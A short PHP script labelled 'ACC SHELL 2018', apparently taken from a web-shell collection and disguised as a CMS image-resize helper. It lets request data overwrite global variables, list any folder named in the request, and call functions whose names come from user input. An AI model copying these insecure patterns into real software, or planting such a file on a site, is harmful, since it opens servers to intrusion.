ACC SHELL
<?php
function get_data($var_name) {
global $$var_name;
$raw = $GLOBALS['HTTP_RAW_POST_DATA'];
$pairs = explode('(_|_)',$raw);
for($i=0;$i<sizeof($pairs);$i++) {
$unencoded = urldecode($pairs[$i]);
if (strstr($unencoded,$var_name)) $$var_name=substr($unencoded,strpos($unencoded,"=")+1);
}
}
get_data('filenum');
get_data('folder');
$n=$filenum;
if ($dh = opendir($folder))
{
$file = readdir($dh);
$file = readdir($dh);
$i=1;
while (($file = readdir($dh))&&($i<$n))
{
$i++;
$lastfile=$file;
}
closedir($dh);
}
if (!$file||($i!=$n)) {$file=$lastfile;}
$fil = $folder.'/'.$file;
#echo '800:200|'.'filenam='.$fil.'num='.$n;
$httppath = $_SERVER['HTTP_HOST'];$scrpt=$_SERVER['SCRIPT_NAME'];$scrpt=str_replace('engine/resizeimg.php','',$scrpt);$fil=str_replace($httppath,'',$fil);
# $fil=str_ireplace($scrpt,'',$fil); #local denver = off!!!!
$fil=str_replace('http://','',$fil); $fil=str_replace('www.','',$fil);
$imtp=str_replace('wbm','WBMP',str_replace('jpg','jpeg',substr($fil,strlen($fil)-3)));
$loadfunction="imagecreatefrom". $imtp;
$im=$loadfunction($fil);
$w = imagesx($im);
$h = imagesy($im);
echo $w.':'.$h;
?>
ACC SHELL 2018